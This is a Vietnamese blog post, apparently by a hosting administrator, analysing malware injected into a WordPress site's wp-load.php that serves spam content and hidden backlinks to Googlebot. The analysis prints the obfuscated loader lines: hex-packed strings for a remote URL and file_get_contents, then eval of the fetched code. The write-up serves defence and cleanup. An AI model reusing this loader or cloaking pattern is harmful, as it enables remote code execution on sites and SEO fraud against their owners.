Giới thiệu
Hôm nay mình được nhờ để hỗ trợ xử lý cho site của một người bạn đang chạy ở nhà cung cấp khác đang bị phá làm ảnh hưởng SEO nhưng chưa xác định được nguyên nhân. Sau khi xử lý thấy cũng có vài điểm hay nên viết lại cho mọi người cùng đọc. Anh em nào làm SEO chịu khó đọc đến cuối bài nhé.
Tình trạng
- Website bị index số lượng lớn nội dung bẩn trên Google.
- Các bài xấu bị index không tồn tại trên website: không tồn tại trong danh sách bài post, database, truy cập từ search về site báo 404.
- Bị index liên tục hàng giờ.
- Đã rà soát tất cả tài khoản quản trị, danh sách theme, plugin nhưng không phát hiện ra điều gì bất thường.
Xử lý
Do website này đang chạy trên tài khoản hosting ở bên khác và cũng không có Shell Access, không có Imunify nên mình backup dữ liệu về để tạm xử lý.
Kiểm tra mã độc bằng Imunify có sẵn trên hosting => Không phát hiện.
Thực hiện quy trình kiểm tra file/plugin, user, database => không phát hiện bất thường.
Kiểm tra kĩ hơn thì phát hiện file “wp-load.php” có checksum không giống với bản gốc của source. Mở file này ra thì phát hiện ngay đoạn mã lạ đáng nghi => Tập trung phân tích.
Nội dung đoạn code bị chèn vào file “wp-load.php” có ý nghĩa như sau:
$GLOBALS_JK = PACK('H*','687474703a2f2f776f77696e2e676f6f676c6573766e2e636f6d2f776f772e747874')
Hàm PACK(‘H*’,’…’) chuyển đổi chuỗi hex thành chuỗi ASCII. Chuỗi hex ‘6874747…874‘ được chuyển đổi thành URL ‘hxxp://wowin.googlesvn.com/wow.txt‘. Đây có thể là địa chỉ của một máy chủ từ xa mà mã độc muốn tải dữ liệu từ đó.
$GLOBALS_GET = PACK('H*','66696c655f6765745f636f6e74656e7473')
Tương tự, chuỗi hex này được chuyển đổi thành tên hàm ‘file_get_contents‘, là một hàm PHP để đọc nội dung của một tập tin vào một chuỗi.
$GLOBALS_STR = $GLOBALS_GET($GLOBALS_FILE)
Tại đây, hàm file_get_contents (được gán cho $GLOBALS_GET) sẽ được sử dụng để tải nội dung từ URL được gán trong $GLOBALS_FILE. Nội dung này được lưu vào biến $GLOBALS_STR.
eval($GLOBALS_STR)
Cuối cùng, hàm eval được sử dụng để thực thi nội dung được tải về. Điều này cực kỳ nguy hiểm vì nó cho phép thực thi bất kỳ mã PHP nào được trả về từ URL mà không có bất kỳ kiểm tra an toàn nào.
Đoạn mã trên cho thấy đây có thể được xem như 1 botnet đơn giản với nhiệm vụ connect về C&C (server điều khiển) để nhận lệnh, sau đó thực thi mệnh lệnh được giao.
Phân tích mệnh lệnh
Truy cập vào URL để nhận lệnh, nhận được nội dung mệnh lệnh. Mệnh lệnh đại loại kiểm tra nếu là truy cập của Googlebot thì hiển thị nội dung khác so với người dùng bình thường. Các nội dung này được tải từ các URL do server điều khiển chị định và thay đổi liên tục
Điều này khiến cho mỗi khi Google quét website của chúng ta, chúng sẽ nhận được các nội dung bẩn và tiến hành index chúng, dù nội dung này không tồn tại trên website của ta. Khi chúng ta truy cập các nội dung xấu này thông qua SERP, truy cập vào website thì nhận được lỗi 404 (vì bản chất bài viết không tồn tại trên site)
Ngoài ra, khi nhận thấy truy cập từ Googlebot, đoạn mã trên cũng tự động chèn thêm 1 đống backlink xấu mà người dùng bình thường truy cập sẽ không thấy được.
Dọn dẹp
Việc xử lý shell, quan trọng nhất là tìm ra con đường giúp shell xuất hiện trên server. Do đó, mình đã tập trung phân tích toàn bộ log trên site cũng như toàn bộ file. Tuy nhiên, đây là server hosting mình không toàn quyền nên ko thể truy vết tới các file quan trọng của hệ thống để phân tích.
Việc phân tích log truy cập của website là chưa đủ để xác định nguyên nhân. Đáng tiếc là mình chưa xác định được nguyên nhân gốc rễ khiến mã độc được chèn vào file “wp-load.php”
Tạm thời, mình đã xoá đoạn mã độc và tiếp tục theo dõi.
Trích: Nguyễn Hưng (Bo) – Admin Vietnix